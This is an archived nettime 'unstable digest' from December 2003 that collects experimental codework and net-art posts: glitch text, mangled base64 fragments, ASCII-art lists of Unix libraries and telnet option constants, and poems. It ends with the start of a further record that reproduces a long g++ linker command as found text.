n^Fapeciraa aa n^Fapecira a aa n^Fapeciraa aa n^Ff white white apeciraa aa n^Fapeciraa a a n^Fapeciraa aa\nn^Fapecir\naa aa n^Ff white white\napeciraa aa n ^Fapeciraa aa n^Fapeciraa aa n^Fapeciraa aa n^Ff white white ap eciraa aa n^Fapeciraa aa n^Fapeciraa aa\nn^Fapecir\naa aa n^Ff whit e white\napeciraa aa n^Fapeciraa aa n^Fapeciraa aa n^Fapeciraa aa n^Ff white white apeciraa aa n^Fapeciraa aa n^Fapeciraa aa\nn^Fapeciraa\n aa n^Ff white white\napeciraa aa n^Fapeciraa aa n^Fa peciraa aa n^Fapeciraa aa n^Ff white white apeciraa aa n^Fapec iraa aa n^Fapeciraa aa\nn^Fapecir\naa aa n^Ff white\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au\nFrom: HUB <hub {AT} x-arn.org>\nSubject: ASRF/0.2\nDate: 2 Sep 2003 04:41:16 -0000\n\n\ndWViZWMNCmFydGlzdHM8L2Rpdj4NCjxkaXY+Jm5ic3A7Jm5ic3A7Jm5ic3A7  dj4yLiBGY\nWRvIHVwZGF0ZTwvZGl2Pg0KPGRpdj4zLiBDQUxMIEZPUiBFTlRS  dXJjaDwvZGl2Pg0KPG\nRpdj41LiBDQUxMIEZPUiBQRVJGT1JNQU5DRSBBUlQg  dj4NCjxkaXY+Jm5ic3A7Jm5ic3A\n7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7  dHMgUEFTIERFIFRSQURVQ1RJT04sIGZlYXR1\ncmluZyA1IFF1ZWJlYw0KYXJ0  dj4NCjxkaXY+PGZvbnQgY29sb3I9IiMwMDAwMDAiPjxiP\nlBBUyBERSBUUkFE  d2VyayBHYWxsZXJ5LCA2MjBBIFF1ZWVuIFN0LiBXLjxicj4NClJvdW\n5kIFRh  dGFuY2Ugb2YNCmFsbCBvZiB0aGUgYWN0aXZpdGllcykuIE9uIFN1bmRheSwg  d\nXNlcyBvbiB0aGUNCndheXMgaW50ZXJhY3Rpb24gYmV0d2VlbiBwZXJmb3Jt  dW90Oykgcm\nVmZXJzDQpsaWdodC1oZWFydGVkbHkgdG8gdGhlIHRyYWRpdGlv  dHJhbnNsYXRlZCwgYW5\nkIHdoYXQgd2UgcmVmdXNlIHRvDQp0cmFuc2xhdGUs  dHJlYWwuIE92ZXIgdGhlDQpwYXN0\nIGRlY2FkZSwgc2hlIGhhcyBkZXZlbG9w  dGFuemEgQ2FtZWxvPGJyPg0KPC9iPk9yaWdpb\nmFsbHkgZnJvbSBDb2x1bWJp  dWx0aWRpc2NpcGxpbmFyeSBhcnRpc3QgbGl2aW5nIGFuZC\nB3b3JraW5nIGlu  dCBvciBvdGhlcg0KcHVibGljIHNwYWNlcywgaW5jbHVkaW5nIGdhbGx\nlcmll  dGhvciBvZiBuYXJyYXRpdmUgdGV4dHMgYW5kIGNyaXRpY2FsIGFydGljbGVz  dG\nggRGlhbmUgTGFuZHJ5IGFuZCBCcnVpdCBUVFYpIGFydCBwcmFjdGljZSBp  d29ya3MgYXM\ngYW4gaW5kZXBlbmRlbnQgY3VyYXRvci48L2ZvbnQ+PGJyPg0K  dWx0IG9mIHNpZ25pZmlj\nYW50IGZ1bmRpbmcgaW5jcmVhc2VzIGZyb20gdGhl  dGlvbiBmb3IgdGhlIDIwMDMtMDQgZ\nmlzY2FsIHllYXIgLS0gdGhlIGZpcnN0  dml0YWwgY29udHJpYnV0aW9uIHRoYXQgaXMgYm\nVpbmcgcmVjb2duaXplZC48  dmVudCB3aWxsIGJlIEZJVkUgSE9MRVM6IHJlbWluaVNDRU5\nULCBhIHNlcmll  dGFraW5nIHBsYWNlIGluIFNlcHRlbWJlcg0KY28tY3VyYXRlZCBieSBQ\nYXVs  dGF5DQp0dW5lZCBmb3IgZGV0YWlscy48L2Rpdj4NCjxkaXY+PGJyPjwvZGl2  dSw\ngRmlubGFuZC4gSGUgd2lsbCBiZSBkb2luZyBhIHRocmVlLW1vbnRoIHdv  dWRlIGFzc2lz\ndGluZyB3aXRoIHBlcmZvcm1hbmNlIGV2ZW50cyBhbmQgd29y  dmluZyBsaXZlZCBpbiBCd\nXJuYWJ5LCBCLkMuIGZvciB0d28geWVhcnMgYXMg  dGFjdCBGYWRvIGFuZCBsZXQgdXMga2\n5vdywgZWl0aGVyIGJ5IHBob25lICg0  dCBhcyB0aGUgRmVzdGl2YWwgQW5pbWF0b3IgZm9\nyIHRoZQ0KVmlzdWFsRXll  dSBjYW4gY2hlY2sgb3V0DQpoaXMgZGFpbHkgb25saW5lIHJl\ncG9ydHMgb2Z0  dGhpbiB0aGUgYXJ0aXN0J3Mgb3duIHRpbWUtc3BhY2UgLSBpLmUuIGJ5I\nG1h  dWRpZW5jZXMgd2hvIGFyZSBub3QgcGh5c2ljYWxseSBwcmVzZW50IC0gYnV0  dmlk\ndWFsIGFuZCBoaXMgbGlmZSB3YXMNCmZpcnN0IGxhaWQgYmFyZSBhbmQg  dGlvbjwvZGl2P\ng0KPGRpdj48YnI+PC9kaXY+DQo8ZGl2PlBFUkZPUk1BTkNF  dGlvbiBpbiBEYXJ0aW5ndG\n9uIEFydCBHYWxsZXJ5LA0KM3JkLTV0aCBPY3Rv  dGggQVVHVVNUIDIwMDM8YnI+DQo8L2R\npdj4NCjxkaXY+QWxsIHBhcnRpY2lw  dGlvbiBvZg0KdGhlIGV2ZW50LjwvZGl2Pg0KPGRp\ndj4mbmJzcDs8L2Rpdj4N  dj4NCjxkaXY+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IERlY\nWRsaW5lOiBT  dW90OyBpbiBhIGJyb2FkZXINCnNlbnNlLCBhczxicj4NCkpvaG4gQ2FnZS\nBz  dGF0ZWQuICZxdW90O0NvYWxpdGlvbiZxdW90OyB3aWxsIGV4cGFuZCB0aGlz  dXNlc\nyBpbjxicj4NCmJldHdlZW4gcGVyZm9ybWFuY2VzLiBBIHNwZWNpYWwg  dXNlZC48YnI+DQ\notIFBlcmZvcm1hbmNlIHRpdGxlLjxicj4NCi0gUGVyZm9y  dGhlIGF1ZGlvIGFuZCBwZXJ\nmb3JtYW5jZSBhcnRpc3Q7IG5vIGxvbmdlciB0  dGhlciBhdHRhY2htZW50IHdpdGhvdXQg\ncHJpb3IgYWdyZWVtZW50LiBPbmx5  dSBuZWVkIHRoZW0gcmV0dXJuZWQsIHBsZWFzZSBjb\n250YWN0IHVzIGluIGFk  dmFuY2UsDQp0bzxicj4NCmFycmFuZ2UgdGhpcyBhcyBhIHBhcn\nRpY3VsYXIg  d2F5OiBpZiBzb21lYm9keSBoYXMgcmVjZW50bHkgc2VlbiBvciB0YWxrIHR\nv  dW90Ow0KUGVyZm9ybWFuY2UgUmVzZWFyY2ggOToyIChVSyk8L2Rpdj4NCjxk  dCwgZG\nVzaWduZXIsIGFuZA0KY28tZm91bmRlciBvZiBEZU1vIERlc2lnbiwg  dHJpYnV0aW9ucyB\nmcm9tIHByYWN0aXRpb25lcnMgYW5kDQpzY2hvbGFycyB3  dWJzdGFuY2Ugb2YgdGhlIHBh\nZ2U7IHRoZXNlIG1heSBvZmZlciBoaXN0b3Jp  dWxkIGJlIGluIHRoZSBmb3JtIG9mJm5ic\n3A7IGNvbnZlbnRpb25hbCwgbGlu  dW5kcnkgb2YgcGVyZm9ybWFuY2UsIGluY2x1ZGluZw\n0Kc2NyaXB0d3JpdGVy  dHMuIFdlIGFyZSBhbHNvDQppbnRlcmVzdGVkIGluIGNvbm5lY3R\npb25zIHRv  dm9uIFRROSA3UkQgVUs8YnI+DQombmJzcDt0ZWwuIDAwNDQgMTgwMyA4NjE2\n  dGhlIGV4Y2x1c2l2ZSByaWdodHMgdG8gcmVwcm9kdWNlIGFuZCBkaXN0cmli  dXRlIHR\noZSBhcnRpY2xlDQpoYXZlPGJyPg0KYmVlbiBnaXZlbiB0byBQZXJm  dy5wZXJmb3JtYW5j\nZS1yZXNlYXJjaC5uZXQ8L2Rpdj4NCjxkaXY+PGJyPjwv  dGU6IEludGVycm9nYXRlOjwvZ\nGl2Pg0KPGRpdj4xNSB0byAxOCBKdW5lIFNp  dGVlIG9mIFBlcmZvcm1hbmNlIFN0dWRpZX\nMgaW50ZXJuYXRpb25hbCAjMTA8  dCBvZiBQZXJmb3JtYW5jZSBTdHVkaWVzIGF0IE5ldyB\nZb3JrIFVuaXZlcnNp  dHkgaW4gMTk5NS4NCkluPGJyPg0KaXRzIG5pbmUgeWVhcnMgb2Yg\nZXhpc3Rl  dWRpZXMgaGFzIHJlc3VsdGVkDQppbjxicj4NCnRoZSBmb3JtYXRpb24gb2Yg \n dGVzLCBXYWxlcywgYW5kIEdlcm1hbnkuIFBTaSAjOQ0Kd2FzPGJyPg0KaGVs  dCBzdGF0\nZSBvZiBwZXJmb3JtYW5jZSBkaXNjb3Vyc2UgaW4gQXNpYSw8YnI+  dW90OyAtIGFzIG5ld\nyBsb2NhbCBhdXRoZW50aWNpdGllcw0KZm9yPC9kaXY+  dGVycyBvZiBhIHNpbmdsZSBjb2\n5mZXJlbmNlLCBvdXIgcHVycG9zZSBpcyB0  dGUnDQpmaWd1cmVzPGJyPg0KY2VudHJhbGx\n5IGluIG11Y2ggb2YgcGVyZm9y  dWdob3V0IHRoZSBjb25mZXJlbmNlLA0Kd2l0aDwvZGl2\nPg0KPGRpdj5yZWdp  dXNzaW9uDQphcm91bmQ8YnI+DQpzcGVjaWZpYyBzaGFyZWQgY29uY\n2VybnMs  dCB0byB5b3VyIHByb3Bvc2FsLjxicj4NCjxicj4NCk5hbWU6PGJyPg0KVGl0  \ndXJlOiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw  d291bGQgb\nGlrZSB0byBzdWJtaXQgYSBwcm9wb3NhbCBmb3IgYQ0KcGFuZWwg  d2luZyBhcmUgcHJvcG\n9zZWQgSW50ZXJlc3QgR3JvdXBzLiBUbyBoZWxwIHVz  dGhlIFNlbnNvcml1bTxicj4NCl9\nfXyAoMTUpIEdlbmRlciAmYW1wOyBTZXh1  dHMNCkNvdW5jaWwgYW5kIHRoZSBEZXBhcnRt\nZW50IG9mIENhbmFkaWFuIEhl  dGggd2l0aCBpbmZvcm1hdGlvbiBvZg0KaW50ZXJlc3Qgd\nG88L2Rpdj4NCjxk  d2Vic2l0ZSAtIGh0dHA6Ly93d3cucGVyZm9ybWFuY2VhcnQuY2E8Yn\nI+DQo8  dCBzcGlyaXR1YWwsIHJlbGlnaW91cywgcG9saXRpY2FsLCBwZXJzb25hbCwN  s\neront accessibles aux stagiaires en-dehors des heures de cours.  \n\n_\nASCII SELECTED RANDOM FRAGMENTS GENERATOR V0.2 beta\nGenerated by : sense-sea-MegaSub-1-170.oz.net \nDate: 2003-09-02 06:41:16 \nPowered By: http://x-arn.org/hub/osm/ \n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org,audiovision {AT} egroups.com\nFrom: \"][m.e.z(y.gote)]\" <netwurker {AT} hotkey.net.au>\nSubject: _lo Jack[in2.the foo(fighting)tour]_     09:36am 30/11/2003 +\nDate: Sun, 30 Nov 2003 09:41:11 +1100\n\n\n\n\n_____________________________||||||||||||||||||||||||||||||||||||||||||||||||||||\n_lo Jack[in2.the foo(fighting)tour]_     09:36am 30/11/2003\n____________________________________________________\n\n\n   Version Hip_jack.eted B.yond.the.US[B]ual\n\n.tech ma[mmon]rrow vs\n.complications.of.t.he[w].bi[h]o[l]lo.gicallly.d.fined\n\n\n--\nHOLOLOGICAL\n--\n\n\n.[d.termine: factorial x.p[ha]lan[x]ations of d.Sire projected]\n\nwhere:\n\n\"d.Sire\" =functionality.of.a.flesh.meet.curve\n\"projected\" =funda.mental.holologically-driven.placement\n\n.[r.eject: lessa.joy.der(r)i(da)ffatives]\n\nwhen:\n\"lessa\" =joy(less).sticKing.2.the.roof.of.ur.purrrr.petual.mouth\n\"deriffatives\" =screening.thru.a.pre.set.philo[pastry]sophistry.spoon\n\n--\n\n  ____________________________________________________\n_manga ++P][h][atching_     08:36am 27/11/2003\n\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\____________________________________\n\n\n  _astr[al]O bouy.ancy vs feli][X][ne coding_\n\n\n_arcing.tenderness.in.a.profiler.cup_\n\n\n-text.blood vs visual.forced-N-laced.feedin-\n\n\n!\n\n\n__________________________________________________________\n\n_Soc[no d]ial Ro.NIN_     08:19pm 16/11/2003\n\n+++++++++++++++++++++++++++++++++++++++++++++++++++++\n  _Egged N [smoke]Screened.9-2-5.culture.mirrors\n_Alone State = Function + no.bag.ga[u]ge\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n!\n\n\n\n\n\n\n\n\n\n\n\n\n- pro][rating][.lucid.tones\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_poly.phonic.ring[tones] \n\n\n\nFrom: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: signe\nDate: Sat, 06 Dec 2003 00:25:20 +0100\n\n\n\n\n\n                        /usr/lib/lib b z 2 .a\n\t              /usr/lib/lib c .a\n                        /usr/lib/lib c p i c .a\n                        /usr/lib/lib c o m p a t .a\n                      /usr/lib/lib c r y p t .a\n                      /usr/lib/lib c u r s e s .a\n                  /usr/lib/lib d b m .a\n                 /usr/lib/lib d e s .a\n                 /usr/lib/lib e d i t .a\n               /usr/lib/lib g c c .a\n                   /usr/lib/lib g n u m a l lo c .a\n             /usr/lib/lib k d b .a\n            /usr/lib/lib k r b .a\n           /usr/lib/lib k v m .a\n\t /usr/lib/lib l .a\n\t/usr/lib/lib m .a\n\t\\usr\\lib\\lib m p .a\n          \\usr\\lib\\lib n t p .a\n           \\usr\\lib\\lib o b j c .a\n\t   \\usr\\lib\\lib p c .a\n              \\usr\\lib\\lib p c a p .a\n               \\usr\\lib\\lib p l o t .a\n                 \\usr\\lib\\lib p o s i x .a\n                   \\usr\\lib\\lib r e s o l v .a\n                    \\usr\\lib\\lib r p c s v c .a\n                   \\usr\\lib\\lib s k e y .a\n                       \\usr\\lib\\lib t e r m c a p .a\n                       \\usr\\lib\\lib t e l n e t .a\n                      \\usr\\lib\\lib u t i l .a\n                       \\usr\\lib\\lib w r a p .a\n       \t              \\usr\\lib\\lib y .a\n\t               \\usr\\lib\\lib z .a\n\n\n\n\n\nhttp://www.20six.fr/cuneiform2\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n             {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: capital X\nDate: Mon, 17 Nov 2003 23:15:45 +0100\n\n       T E L O P T _ B I N A R Y    0\t\n        T E L O P T _ E C H O       1\n         T E L O P T _ R C P        2\n          T E L O P T _ S G A       3\n           T E L O P T _  N A M S   4\n            T 0 0 0 0 0 0 0 0 0 0 0 0 0 0  0 E L O P T _ S T A T U S    5\n           T E L O P T _ T M        6\n          T E L O P T _ R C T E     7\n        T E L O P T _ N A O  L      8\n\n                   T E L O P T _ N A O P           9\n                    T E L O P T _ N A O  C R D     10\n                     T E L O P T _ N A O H T S     11\n                      T E L O P T _ N A O H T D    12\n                       TELOPT_NAOFFD               13\n                        TELOPT_NAOVTS              14\n                         TELOPT_NAOVTD             15\n                          TELOPT_NAOLFD            16\n                           TELOPT_XASCII           17\n                            TELOPT_LOGOUT          18\n                             TELOPT_BM             19\n                              TELOPT_DET           20\n                               TELOPT_SUPDUP       21\n                                TELOPT_SUPDUPOUTPUT 22\n                                 TELOPT_SNDLOC     23\n                                  TELOPT_TTYPE     24\n                                   TELOPT_EOR      25\n                                    TELOPT_TUID    26\n              TELOPT_OUTMRK          27\n             TELOPT_TTYLOC            28\n            TELOPT_3270REGIME          29\n           TELOPT_X3PAD                 30\n          TELOPT_NAWS                    31\n         TELOPT_TSPEED                    32\n        TELOPT_LFLOW                       33\n       TELOPT_LINEMODE                      34\n      TELOPT_XDISPLOC                        35\n     T E L O P T _ O L D _ E N V I R O N      36\n    T E L O P T _ A U T H E N T I C A T I O N  37\n   T E L O P T _ E N C R Y P T                  38\n  T E L O P T _ N E W _ E N V I R  O  N          39\nT E L O P T _ E X O P L                          255\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Source\nDate: Mon, 17 Nov 2003 16:06:14 -0500 (EST)\n\n\n\n\n\n\n    Source\n\n    \t\t-- Coleridge\n    \t\t-- Wordsworth\n    \t\t-- Wordsworth\n    \t\t-- Wordsworth\n    \t\t-- Wordsworth\n    \t\t-- Wordsworth\n    \t\t-- Whitman\n    \t\t-- Bryant\n    \t\t-- Bryant\n    \t\t-- Bryant\n    \tOn he journeyed to Gentian --\n    Fringed Gentian, of whom Bryant\n    wrote:\n    \t\t-- Bryant\n    \t\t-- Bryant\n    \t\t-- Bryant\n    \t\t-- Bryant\n    \t\t-- Bryant\n    \t\t-- Bryant\n\n\n   ___\n\n\nFrom: Jukka-Pekka Kervinen <kkervinen {AT} mailcan.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: GDE#31\nDate: Sun, 23 Nov 2003 22:49:45 +0200\n\n\n            tran:-=::g\n                                          =e=]s\n                                 i-+c]:-\\[nea(+\n                           /ra|/\n                    (=cr/o.|:n\\)\n                            y=/m\n                                          SO/:=/c]i[eTy+\n                                          .s]t\n                                  /]r-a|n+Ges[\n                           ][I\n                                          [\\:C+[n[e[\n                                                A/)|\n                                          ra+:cro.ny.=ms]\n                           =:/\n                                          =:O\\ciety+str]:|a\\\n                           n.:ge\n                           (]]s\\=]i/)=cn\n                           ]e\\:a\n                      ra(+C+r-:o\n                            ny/m\n                           :s[][o[/=c:\n                                   ]\\=\n                           ietystr[a=+ng:e\\+[\n                           .sIc/\n                           :+NEa]rac]\\|:r]o=+\n                                        nymso\n                                          [/c/:i=:e\\t/[[-:=-y\n                                          st[\n                                   ]:r[a[n/\\g\n                                         e[s=\n                           ic]ne.[a+.+.Ra\n                                    cro-]\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au\nFrom: HUB <hub {AT} x-arn.org>\nSubject: ASRF/0.2\nDate: 7 Dec 2003 10:58:35 -0000\n\n\n!f u park dzere ur l!zensz shl b revoked  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  !!!!!!!!!!!!!!!!!!!!!!\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  !.kxdkxkweevgh!kum.l rl r. bkphkktu\nwv kxl!flp kv!vn.m em e.  !</p>  !g  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  !!!!!!!!!!!!!!!!!!!!!!!!!!!\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  ! (vrt. a\"a\"relliset automaatit) ffl :n \nlausejohdoksella fl on G :n m  !t = 01 rel!g!on uhoze del!z!ouz reuardz\n ovrf!l 1 u!th !ntenz!t! + l!beratd l!f energ!e  !t = 01 mag!kl flu!d!t\n!. 1x zubl!m + m!lk! zent!mnt uear a l l flouz !n 2 1 + bkmz koherent +\n zenz!kl  !t = dze mozt poet!k + exku!z!t ekzper!ensz ekl!pzd b! 0+0 __\n_...  !=)(bar n$ + $ <<;foo n$ + $ <<;n n$harf+ =;)while.  !J*^J\u0438}F+Qg\u0438\n:+*3V\u0438Fx+y%\u0438kw+t*\u0438\u0438!;-|b\u0438\u0438AA=Sd\u0438\u0438{K=Dk  ! n. `.  \n\n_\nASCII SELECTED RANDOM FRAGMENTS GENERATOR V0.2 beta\nGenerated by : lns-vlq-11-62-147-178-189.adsl.proxad.net \nDate: 2003-12-07 11:58:35 \nPowered By: http://x-arn.org/hub/osm/ \n\n\n\n\n\nnettime unstable digest vol 76\nMon Dec 22 21:30:52 2003\n\n\nSubject: GDE#23\n    From: Jukka-Pekka Kervinen <kkervinen {AT} mailcan.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: ASRF/0.2\n    From: HUB <hub {AT} x-arn.org>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: <<Stretch Inline + Code Demaractions Indicate Entry Status>>\n    From: \"][m.e.z(y.gote)]\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org\n\nSubject: Re:  <<Stretch Inline + Code Demaractions Indicate\n    From: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\n    To: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\n\nSubject: GDE#24\n    From: Jukka-Pekka Kervinen <kkervinen {AT} mailcan.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: my new friends\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: iraa aa n^\n    From: m {AT} 1010.co.uk\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: ASRF/0.2\n    From: HUB <hub {AT} x-arn.org>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: _lo Jack[in2.the foo(fighting)tour]_     09:36am 30/11/2003 +\n    From: \"][m.e.z(y.gote)]\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org,audiovision {AT} egroups.com\n\nSubject: signe\n    From: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: capital X\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: Source\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: GDE#31\n    From: Jukka-Pekka Kervinen <kkervinen {AT} mailcan.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: ASRF/0.2\n    From: HUB <hub {AT} x-arn.org>\n    To: _arc.hive_ {AT} lm.va.com.au\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Mon, 22 Dec 2003 21:32:16 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200312222221.hBMMLZK06563 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0312/msg00061.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 76"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00057",
                "content": "\nFrom: \"Joseph S. Barrera III\" <jsb {AT} polymathy.org>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Strange problem linking Windows DLL - 'Error: 0-bit reloc in dll'\nDate: Thu, 20 Nov 2003 15:40:44 -0800\n\ng++ -shared --enable-stdcall-fixups --enable-runtime-pseudo-reloc \n--noinhibit-ex\nec --split-by-reloc tt_wrap.o -Llib -L3sw/LSERV/lib/implib -lLSAPIW32 \n-L/lib/Pyt\nhon2.3/config -lpython2.3 -lSM -lICE -L/usr/X11R6/lib  -lXm -lXt -lX11 \n/usr/loca\nl/lib/libsybdb.a /usr/local/lib/libsrv.a /usr/local/lib/libamb.a \n-lstdc++ -lm -L\nAggregator -lAggregator -LAmbInterface -lAmbInterface -LApp -lApp \n-LAppWin -lApp\nWin -LBrowser -lBrowser -LCallAccount -lCallAccount -LCharges -lCharges \nDB/libDB\n.a -LContentious -lContentious -Ldlist -ldlist -LDsm -lDsm -LDTE -lDTE \n-LExInter\nface -lExInterface -LExposure -lExposure -Lfinance -lfinance \n-LFmsInterface -lFm\nsInterface -LFutureTrade -lFutureTrade -LFXCashTrade -lFXCashTrade \n-LFXOptionTra\nde -lFXOptionTrade -LFXOptionTrade -lFXOptionTrade -LGLI -lGLI -LGui \n-lGui -Lins\ntr -linstr -LInstrument -linstrument -LIROptTrade -lIROptTrade -LMc -lMc \n-Lmmcas\nh -lmmcash -LMMCashTrade -lMMCashTrade mrm/libmrm.a -LObserver \n-lObserver -LOpen\nClient -lOpenClient -LOpenServer -lOpenServer -LOrders  -lOrders \n-LParser -lPars\ner -LProcess -lProcess -LRecord -lRecord -LRep -lRep -LRtf -lRtf \n-LRtfServer -lR\ntfServer -Lrw -lrwtool -Lsettlements -lsettlements -LSocket -lSocket \n-LSocketCli\nent -lSocketClient -LSocketServer -lSocketServer -LSQLBuilder \n-lSQLBuilder -LSys\nParam -lSysParam -LSystem -lSystem -LTBag -lTBag -LTFO -lTFO -LTFOTools \n-lTFOToo\nls -Ltpm -ltpm -LTradeAction -lTradeAction -LUAM -lUAM -LUserParam \n-lUserParam -\nLUserTrade -lUserTrade -LView -lView -LView -lView -Lxpm -lxpm -Lzip \n-lzip -Llib\n -L3sw/LSERV/lib/implib -lLSAPIW32 -L/lib/Python2.3/config -lpython2.3 \n-lSM -lIC\nE -L/usr/X11R6/lib  -lXm -lXt -lX11 /usr/local/lib/libsybdb.a \n/usr/local/lib/lib\nsrv.a /usr/local/lib/libamb.a -lstdc++ -lm -LAggregator -lAggregator \n-LAmbInterf\nace -lAmbInterface -LApp -lApp -LAppWin -lAppWin -LBrowser -lBrowser \n-LCallAccou\nnt -lCallAccount -LCharges -lCharges DB/libDB.a -LContentious \n-lContentious -Ldl\nist -ldlist -LDsm -lDsm -LDTE -lDTE -LExInterface -lExInterface \n-LExposure -lExp\nosure -Lfinance -lfinance -LFmsInterface -lFmsInterface -LFutureTrade \n-lFutureTr\nade -LFXCashTrade -lFXCashTrade -LFXOptionTrade -lFXOptionTrade \n-LFXOptionTrade\n-lFXOptionTrade -LGLI -lGLI -LGui -lGui -Linstr -linstr -LInstrument \n-linstrumen\nt -LIROptTrade -lIROptTrade -LMc -lMc -Lmmcash -lmmcash -LMMCashTrade \n-lMMCashTr\nade mrm/libmrm.a -LObserver -lObserver -LOpenClient -lOpenClient \n-LOpenServer -l\nOpenServer -LOrders  -lOrders -LParser -lParser -LProcess -lProcess \n-LRecord -lR\necord -LRep -lRep -LRtf -lRtf -LRtfServer -lRtfServer -Lrw -lrwtool \n-Lsettlement\ns -lsettlements -LSocket -lSocket -LSocketClient -lSocketClient \n-LSocketServer -\nlSocketServer -LSQLBuilder -lSQLBuilder -LSysParam -lSysParam -LSystem \n-lSystem\n-LTBag -lTBag -LTFO -lTFO -LTFOTools -lTFOTools -Ltpm -ltpm \n-LTradeAction -lTrad\neAction -LUAM -lUAM -LUserParam -lUserParam -LUserTrade -lUserTrade \n-LView -lVie\nw -LView -lView -Lxpm -lxpm -Lzip -lzip -Llib -L3sw/LSERV/lib/implib \n-lLSAPIW32\n-L/lib/Python2.3/config -lpython2.3 -lSM -lICE -L/usr/X11R6/lib  -lXm \n-lXt -lX11\n /usr/local/lib/libsybdb.a /usr/local/lib/libsrv.a \n/usr/local/lib/libamb.a -lstd\nc++ -lm -LAggregator -lAggregator -LAmbInterface -lAmbInterface -LApp \n-lApp -LAp\npWin -lAppWin -LBrowser -lBrowser -LCallAccount -lCallAccount -LCharges \n-lCharge\ns DB/libDB.a -LContentious -lContentious -Ldlist -ldlist -LDsm -lDsm \n-LDTE -lDTE\n -LExInterface -lExInterface -LExposure -lExposure -Lfinance -lfinance \n-LFmsInte\nrface -lFmsInterface -LFutureTrade -lFutureTrade -LFXCashTrade \n-lFXCashTrade -LF\nXOptionTrade -lFXOptionTrade -LFXOptionTrade -lFXOptionTrade -LGLI -lGLI \n-LGui -\nlGui -Linstr -linstr -LInstrument -linstrument -LIROptTrade -lIROptTrade \n-LMc -l\nMc -Lmmcash -lmmcash -LMMCashTrade -lMMCashTrade mrm/libmrm.a -LObserver \n-lObser\nver -LOpenClient -lOpenClient -LOpenServer -lOpenServer -LOrders  \n-lOrders -LPar\nser -lParser -LProcess -lProcess -LRecord -lRecord -LRep -lRep -LRtf \n-lRtf -LRtf\nServer -lRtfServer -Lrw -lrwtool -Lsettlements -lsettlements -LSocket \n-lSocket -\nLSocketClient -lSocketClient -LSocketServer -lSocketServer -LSQLBuilder \n-lSQLBui\nlder -LSysParam -lSysParam -LSystem -lSystem -LTBag -lTBag -LTFO -lTFO \n-LTFOTool\ns 